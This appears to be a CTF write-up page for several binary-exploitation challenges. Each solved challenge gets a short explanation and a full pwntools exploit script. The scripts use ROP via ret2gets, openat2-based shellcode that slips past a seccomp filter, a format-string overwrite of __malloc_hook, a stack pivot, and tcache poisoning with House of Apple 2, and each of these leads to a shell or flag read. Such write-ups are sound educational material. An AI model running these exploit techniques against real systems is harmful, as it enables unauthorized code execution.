Awesome Router#

Information#

Category: IoT

Description#

Trust me, if this challenge solved in the inteneded way, there is a lot of fun ; )

Write-up#

There exits gets and puts in bin/fetcher, so we can use ret2gets trick for a ez shell :D

And the rest work are for webers, the Pwn part is done LOL

Exploit#

1
#!/usr/bin/env python3
2

3
import argparse
4

5
from pwn import (
6
    ELF,
7
    ROP,
8
    context,
9
    flat,
10
    p32,
11
    process,
12
    raw_input,
13
    remote,
14
    u64,
15
)
16

17
parser = argparse.ArgumentParser()
18
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
19
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
20
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for QEMU")
21
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread count")
22
args = parser.parse_args()
23

24

25
FILE = "./fetcher_patched"
26
HOST, PORT = "localhost", 1337
27

28
context(log_level="debug", binary=FILE, terminal="kitty")
29

30
elf = context.binary
31
libc = elf.libc
32
rop = ROP(libc)
33

34

35
def mangle(pos, ptr, shifted=1):
36
    if shifted:
37
        return pos ^ ptr
38
    return (pos >> 12) ^ ptr
39

40

41
def demangle(pos, ptr, shifted=1):
42
    if shifted:
43
        return mangle(pos, ptr)
44
    return mangle(pos, ptr, 0)
45

46

47
def launch(argv=None, envp=None):
48
    global target, thread
49

50
    if argv is None:
51
        argv = [FILE]
52

53
    if args.local and args.threads is not None:
54
        raise ValueError("Options -L and -T cannot be used together.")
55

56
    if args.local:
57
        if args.gdb and "qemu" in argv[0]:
58
            if "-g" not in argv:
59
                argv.insert(1, str(args.port))
60
                argv.insert(1, "-g")
61
        target = process(argv, env=envp)
62
    elif args.threads:
63
        if args.threads <= 0:
64
            raise ValueError("Thread count must be positive.")
65
        process(FILE)
66

67
        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
68
    else:
69
        target = remote(HOST, PORT, ssl=True)
70

71

72
def main():
73
    launch()
74

75
    payload = flat(
76
        {
77
            0x28: elf.plt["gets"],
78
            0x30: elf.plt["gets"],
79
            0x38: elf.plt["puts"],
80
            0x40: elf.sym["main"],
81
        },
82
        filler=b"\x00",
83
    )
84
    target.sendlineafter(b"Enter your url to fetch", payload)
85

86
    payload = flat(
87
        p32(0x0),  # lock
88
        b"A" * 0x4,  # cnt
89
    )
90
    target.sendline(payload)
91
    target.sendline(b"BBBB")
92

93
    target.recvline()
94
    tls = u64(target.recvline().strip()[8:].ljust(0x8, b"\x00"))
95
    libc.address = tls + 0x28C0
96
    target.success(f"tls: {hex(tls)}")
97
    target.success(f"libc: {hex(libc.address)}")
98

99
    payload = flat(
100
        {
101
            0x28: libc.address + rop.find_gadget(["pop rdi", "ret"])[0],
102
            0x30: next(libc.search(b"/bin/sh")),
103
            0x38: libc.address + rop.find_gadget(["ret"])[0],
104
            0x40: libc.sym["system"],
105
        },
106
        filler=b"\x00",
107
    )
108
    raw_input("DEBUG")
109
    target.sendlineafter(b"Enter your url to fetch", payload)
110

111
    target.interactive()
112

113

114
if __name__ == "__main__":
115
    main()

New Age#

Information#

Category: Pwn

Description#

They said a carefully crafted seccomp filter would always save you, can you make sure for me?

Write-up#

flag name is random, openat2 is not disabled.

Exploit#

1
#!/usr/bin/env python3
2

3
import argparse
4

5
from pwn import (
6
    ELF,
7
    asm,
8
    context,
9
    flat,
10
    process,
11
    raw_input,
12
    remote,
13
)
14

15
parser = argparse.ArgumentParser()
16
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
17
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
18
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for QEMU")
19
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread count")
20
args = parser.parse_args()
21

22

23
FILE = "./new_age"
24
HOST, PORT = "159.89.106.147", 1337
25

26
context(log_level="debug", binary=FILE, terminal="kitty")
27

28
elf = context.binary
29
libc = elf.libc
30

31

32
def mangle(pos, ptr, shifted=1):
33
    if shifted:
34
        return pos ^ ptr
35
    return (pos >> 12) ^ ptr
36

37

38
def demangle(pos, ptr, shifted=1):
39
    if shifted:
40
        return mangle(pos, ptr)
41
    return mangle(pos, ptr, 0)
42

43

44
def launch(argv=None, envp=None):
45
    global target, thread
46

47
    if argv is None:
48
        argv = [FILE]
49

50
    if args.local and args.threads is not None:
51
        raise ValueError("Options -L and -T cannot be used together.")
52

53
    if args.local:
54
        if args.gdb and "qemu" in argv[0]:
55
            if "-g" not in argv:
56
                argv.insert(1, str(args.port))
57
                argv.insert(1, "-g")
58
        target = process(argv, env=envp)
59
    elif args.threads:
60
        if args.threads <= 0:
61
            raise ValueError("Thread count must be positive.")
62
        process(FILE)
63

64
        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
65
    else:
66
        target = remote(HOST, PORT, ssl=False)
67

68

69
def main():
70
    launch()
71

72
    sc = asm("""
73
        /* openat2(".", {0,0,0}, 24) */
74
        push 0
75
        push 0
76
        push 0
77
        mov rdx, rsp
78
        push 0x2e
79
        mov rsi, rsp
80
        mov rdi, -100
81
        mov r10, 24
82
        mov rax, 437
83
        syscall
84

85
        /* getdents64(fd, buf, 0x1000) */
86
        mov rdi, rax
87
        sub rsp, 0x1000
88
        mov rsi, rsp
89
        mov rdx, 0x1000
90
        mov rax, 217
91
        syscall
92

93
        /* iterate directory, skip `.` (0x2e) and `..` (0x2e2e) */
94
        mov r8, rax     /* total length */
95
        mov r9, rsp     /* buffer pointer */
96
    find_real_file:
97
        movzx eax, byte ptr [r9+19]
98
        cmp al, 0x2e    /* if the first character of the file name is `.`, skip it */
99
        je next_ent
100

101
        /* find the file, store in `r9+19` */
102
        jmp open_it
103

104
    next_ent:
105
        movzx ax, word ptr [r9+16] /* d_reclen */
106
        add r9, rax
107
        sub r8, rax
108
        jg find_real_file
109
        jmp exit
110

111
    open_it:
112
        /* openat2(AT_FDCWD, r9+19, {0,0,0}, 24) */
113
        lea rsi, [r9+19]
114
        mov rdi, -100
115
        lea rdx, [rsp+0x1000+8]
116
        mov r10, 24
117
        mov rax, 437
118
        syscall
119

120
        /* pread64(fd, buf, 0x100, 0) */
121
        mov rdi, rax
122
        mov rsi, r9
123
        mov rdx, 0x100
124
        xor r10, r10
125
        mov rax, 17
126
        syscall
127
        mov r12, rax
128

129
        /* writev(1, &iovec, 1) */
130
        push r12
131
        push r9
132
        mov rsi, rsp
133
        mov rdi, 1
134
        mov rdx, 1
135
        mov rax, 20
136
        syscall
137

138
    exit:
139
        mov rax, 60
140
        syscall
141
    """)
142

143
    target.sendafter(b"Send shellcode (max 4096 bytes): ", sc)
144
    target.interactive()
145

146

147
if __name__ == "__main__":
148
    main()

Information#

Category: Pwn

Description#

The only way forward is understanding what cannot be seen

Write-up#

This chall disabled X x P p S s and $ character.

The idea is using the %c to iterate printf arguments, so the next %n will write to the address which we pre-putted in the stack.

And since we have only have 10 bytes for the second format string, we cannot use the second format string to modify address. But the libc version is 2.23, so there exists __malloc_hook and __free_hook, which in libc’s rw region.

Recall printf will malloc a larger buffer if the output content exceeds the default buffer size, so we can overwrite a hook to onegadget address and then trigger it by %1000000c in the second printf.

Exploit#

1
#!/usr/bin/env python3
2

3
import argparse
4

5
from pwn import (
6
    ELF,
7
    context,
8
    flat,
9
    fmtstr_payload,
10
    process,
11
    raw_input,
12
    remote,
13
)
14

15
parser = argparse.ArgumentParser()
16
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
17
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
18
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for QEMU")
19
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread count")
20
args = parser.parse_args()
21

22

23
FILE = "./app_patched"
24
HOST, PORT = "challenges.ctf.sd", 33898
25

26
context(log_level="debug", binary=FILE, terminal="kitty")
27

28
elf = context.binary
29
libc = elf.libc
30

31

32
def mangle(pos, ptr, shifted=1):
33
    if shifted:
34
        return pos ^ ptr
35
    return (pos >> 12) ^ ptr
36

37

38
def demangle(pos, ptr, shifted=1):
39
    if shifted:
40
        return mangle(pos, ptr)
41
    return mangle(pos, ptr, 0)
42

43

44
def build_fmt_payload(target_addr, value, consume=24, offset=0x90, num_bytes=6):
45
    target_vals = [(value >> (i * 0x8)) & 0xFF for i in range(num_bytes)]
46

47
    specs = []
48
    # consume arguments
49
    for _ in range(consume):
50
        specs.append(b"%c")
51
    curr = 24  # 19
52

53
    for i in range(num_bytes):
54
        # consume (arg 26, 28, 30, 32, 34, 36)
55
        diff = (target_vals[i] - curr % 256 + 256) % 256
56
        if diff == 0:
57
            specs.append(b"%256c")
58
            curr += 256
59
        else:
60
            specs.append(f"%{diff}c".encode())
61
            curr += diff
62
        # consume (arg 27, 29, 31, 33, 35, 37)
63
        specs.append(b"%hhn")
64

65
    fmt = b"".join(specs)
66

67
    # if length over offset, then we have to put addresses farther
68
    if len(fmt) > offset:
69
        raise ValueError(f"Format string too long: {len(fmt)} bytes")
70

71
    payload = fmt.ljust(offset, b"\x00")
72
    for i in range(num_bytes):
73
        payload += flat(target_addr + i)
74
        payload += flat(0xCAFEBABE)
75

76
    return payload
77

78

79
def launch(argv=None, envp=None):
80
    global target, thread
81

82
    if argv is None:
83
        argv = [FILE]
84

85
    if args.local and args.threads is not None:
86
        raise ValueError("Options -L and -T cannot be used together.")
87

88
    if args.local:
89
        if args.gdb and "qemu" in argv[0]:
90
            if "-g" not in argv:
91
                argv.insert(1, str(args.port))
92
                argv.insert(1, "-g")
93
        target = process(argv, env=envp)
94
    elif args.threads:
95
        if args.threads <= 0:
96
            raise ValueError("Thread count must be positive.")
97
        process(FILE)
98

99
        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
100
    else:
101
        target = remote(HOST, PORT, ssl=True)
102

103

104
def main():
105
    launch()
106

107
    target.recvuntil(b"Clue: ")
108
    libc.address = int(target.recvline(), 16) - libc.sym["_IO_2_1_stdout_"]
109
    __malloc_hook = libc.sym["__malloc_hook"]
110
    one_gadget = libc.address + 0x4527A
111

112
    target.success(f"libc: {hex(libc.address)}")
113
    target.success(f"__malloc_hook: {hex(__malloc_hook)}")
114
    target.success(f"one_gadget: {hex(one_gadget)}")
115

116
    # arg 9 is the start of our payload
117
    # target address at offset 0x90 -> arg (9 + 0x90/8) = arg 27
118
    # payload = build_fmt_payload(__malloc_hook, one_gadget)
119
    payload = fmtstr_payload(8, {__malloc_hook: one_gadget}, no_dollars=True)
120

121
    raw_input("DEBUG")
122
    target.sendline(payload)
123

124
    target.sendline(b"%1000000c")
125
    target.interactive()
126

127

128
if __name__ == "__main__":
129
    main()

Wyv3rn’s Magic#

Information#

Category: Pwn

Description#

We missed the legend !

Write-up#

Haven’t solve this.

This might be useful: https://arxiv.org/pdf/2304.07940

Exploit#

TODO

House Of Pain#

Information#

Category: Pwn

Description#

This house is welcoming. The journey, however, can be painful.

Write-up#

We can leak stack address in small_message, and its just a CHOP bypass canary.

Exploit#

1
#!/usr/bin/env python3
2

3
import argparse
4

5
from pwn import (
6
    ELF,
7
    context,
8
    flat,
9
    p64,
10
    process,
11
    raw_input,
12
    remote,
13
    u64,
14
)
15

16
parser = argparse.ArgumentParser()
17
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
18
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
19
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for QEMU")
20
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread count")
21
args = parser.parse_args()
22

23

24
FILE = "./chall_patched"
25
HOST, PORT = "challenges4.ctf.sd", 34724
26

27
context(log_level="debug", binary=FILE, terminal="kitty")
28

29
elf = context.binary
30
libc = elf.libc
31

32

33
def mangle(pos, ptr, shifted=1):
34
    if shifted:
35
        return pos ^ ptr
36
    return (pos >> 12) ^ ptr
37

38

39
def demangle(pos, ptr, shifted=1):
40
    if shifted:
41
        return mangle(pos, ptr)
42
    return mangle(pos, ptr, 0)
43

44

45
def launch(argv=None, envp=None):
46
    global target, thread
47

48
    if argv is None:
49
        argv = [FILE]
50

51
    if args.local and args.threads is not None:
52
        raise ValueError("Options -L and -T cannot be used together.")
53

54
    if args.local:
55
        if args.gdb and "qemu" in argv[0]:
56
            if "-g" not in argv:
57
                argv.insert(1, str(args.port))
58
                argv.insert(1, "-g")
59
        target = process(argv, env=envp)
60
    elif args.threads:
61
        if args.threads <= 0:
62
            raise ValueError("Thread count must be positive.")
63
        process(FILE)
64

65
        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
66
    else:
67
        target = remote(HOST, PORT, ssl=False)
68

69

70
def small_message(size, msg):
71
    target.sendlineafter(b"2. Exit\n", str(1).encode())
72
    target.sendlineafter(b"Enter size: ", str(size).encode())
73
    target.sendafter(b"Enter your message: ", msg)
74

75

76
def main():
77
    launch()
78

79
    small_message(0x20, b"A" * 0x18)
80

81
    target.recvuntil(b"A" * 0x18)
82
    stack = u64(target.recvline().strip().ljust(0x8, b"\x00"))
83
    target.success(hex(stack))
84

85
    win = 0x401773
86
    fake = flat(
87
        {
88
            0x0: stack,
89
            0x8: 0x40168F,
90
            0x20: stack - 0x118 + 0x18,
91
            0x28: 0x4013C8,  # 0x4013c8 (main+82)
92
            0x58: win,
93
        },
94
        filler=b"\x00",
95
    )
96
    raw_input("DEBUG")
97
    small_message(0x10, b"A" * 0x30 + fake)
98
    target.sendlineafter(b"2. Exit\n", str(2).encode())
99

100
    target.interactive()
101

102

103
if __name__ == "__main__":
104
    main()

Alice#

Information#

Category: Pwn

Description#

Alice, struggling with the traumatic death of her family, returns to a corrupted Wonderland to unlock repressed memories. Can you help her remember who she is ?

Write-up#

This chall limited our free counts, so we cannot just fill tcache and then get the chunk into unsortedbin to leak libc.

The idea is tcache poisoning to let malloc return tcache_perthread_structure, and change the correspond tcachebin’s counts to 7, so the next free will go to unsortedbin.

Then we can do a ez House of Apple 2 attack to get shell.

Exploit#

1
#!/usr/bin/env python3
2

3
import argparse
4

5
from pwn import (
6
    ELF,
7
    FileStructure,
8
    context,
9
    flat,
10
    process,
11
    raw_input,
12
    remote,
13
    u64,
14
)
15

16
parser = argparse.ArgumentParser()
17
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
18
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
19
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for QEMU")
20
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread count")
21
args = parser.parse_args()
22

23

24
FILE = "./vuln_patched"
25
HOST, PORT = "159.89.105.235", 10001
26

27
context(log_level="debug", binary=FILE, terminal="kitty")
28

29
elf = context.binary
30
libc = elf.libc
31

32

33
def mangle(pos, ptr, shifted=1):
34
    if shifted:
35
        return pos ^ ptr
36
    return (pos >> 12) ^ ptr
37

38

39
def demangle(pos, ptr, shifted=1):
40
    if shifted:
41
        return mangle(pos, ptr)
42
    return mangle(pos, ptr, 0)
43

44

45
def launch(argv=None, envp=None):
46
    global target, thread
47

48
    if argv is None:
49
        argv = [FILE]
50

51
    if args.local and args.threads is not None:
52
        raise ValueError("Options -L and -T cannot be used together.")
53

54
    if args.local:
55
        if args.gdb and "qemu" in argv[0]:
56
            if "-g" not in argv:
57
                argv.insert(1, str(args.port))
58
                argv.insert(1, "-g")
59
        target = process(argv, env=envp)
60
    elif args.threads:
61
        if args.threads <= 0:
62
            raise ValueError("Thread count must be positive.")
63
        process(FILE)
64

65
        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
66
    else:
67
        target = remote(HOST, PORT, ssl=False)
68

69

70
def create_memory(idx, size, data):
71
    target.sendlineafter(b"> ", str(1).encode())
72
    target.sendlineafter(b"Memory index: ", str(idx).encode())
73
    target.sendlineafter(b"How vivid is this memory? ", str(size).encode())
74
    target.sendlineafter(b"What do you remember? ", data)
75

76

77
def edit_memory(idx, data):
78
    target.sendlineafter(b"> ", str(2).encode())
79
    target.sendlineafter(b"Which memory will you rewrite? ", str(idx).encode())
80
    target.sendlineafter(b"Rewrite your memory: ", data)
81

82

83
def view_memory(idx):
84
    target.sendlineafter(b"> ", str(3).encode())
85
    target.sendlineafter(b"Which memory do you wish to recall? ", str(idx).encode())
86

87

88
def forget_memory(idx):
89
    target.sendlineafter(b"> ", str(4).encode())
90
    target.sendlineafter(b"Which memory will you erase? ", str(idx).encode())
91

92

93
def main():
94
    launch()
95

96
    create_memory(0, 0x10, b"0")
97
    create_memory(1, 0x10, b"1")
98
    forget_memory(0)
99
    forget_memory(1)
100
    view_memory(0)
101
    heap = u64(target.recvline().strip().ljust(0x8, b"\x00")) << 12
102
    pos = heap >> 12
103
    target.success(f"heap: {hex(heap)}")
104

105
    edit_memory(1, flat(mangle(pos, heap + 0x60)) + b"A" * 0x8)
106
    create_memory(2, 0x10, b"A" * 0x8)
107
    create_memory(3, 0x2F0, b"unsortedbin")
108
    create_memory(5, 0x250, b"guard")
109
    create_memory(4, 0x10, flat(0) + flat(0x0000000700000000))  # 0x300 [  7]
110
    forget_memory(3)
111
    view_memory(3)
112
    libc.address = u64(target.recvline().rstrip().ljust(0x8, b"\x00")) - 0x203B20
113
    target.success(f"libc: {hex(libc.address)}")
114

115
    create_memory(6, 0x250, b"A" * 0x8)
116
    forget_memory(6)
117
    forget_memory(5)
118

119
    edit_memory(5, flat(mangle(pos, libc.sym["_IO_list_all"])) + b"A" * 0x8)
120

121
    fp_addr = heap + 0x5E0
122
    system = libc.sym["system"]
123
    fp = FileStructure(null=libc.sym["lock"])
124
    fp.flags = b" sh"
125
    fp._IO_write_ptr = 1
126
    fp._IO_write_base = 0
127
    fp._wide_data = fp_addr
128
    fp.vtable = libc.sym["_IO_wfile_jumps"]
129
    fp.chain = system
130
    payload = bytes(fp) + flat(fp_addr)
131

132
    raw_input("DEBUG")
133
    create_memory(7, 0x250, payload)
134
    create_memory(8, 0x250, flat(fp_addr))
135

136
    target.sendlineafter(b"> ", str(5).encode())
137

138
    target.interactive()
139

140

141
if __name__ == "__main__":
142
    main()

Awesome Router#

Information#

Description#

Write-up#

Exploit#

New Age#

Information#

Description#

Write-up#

Exploit#

Zoro’s Blind Path#

Information#

Description#

Write-up#

Exploit#

Wyv3rn’s Magic#

Information#

Description#

Write-up#

Exploit#

House Of Pain#

Information#

Description#

Write-up#

Exploit#

Alice#

Information#

Description#

Write-up#

Exploit#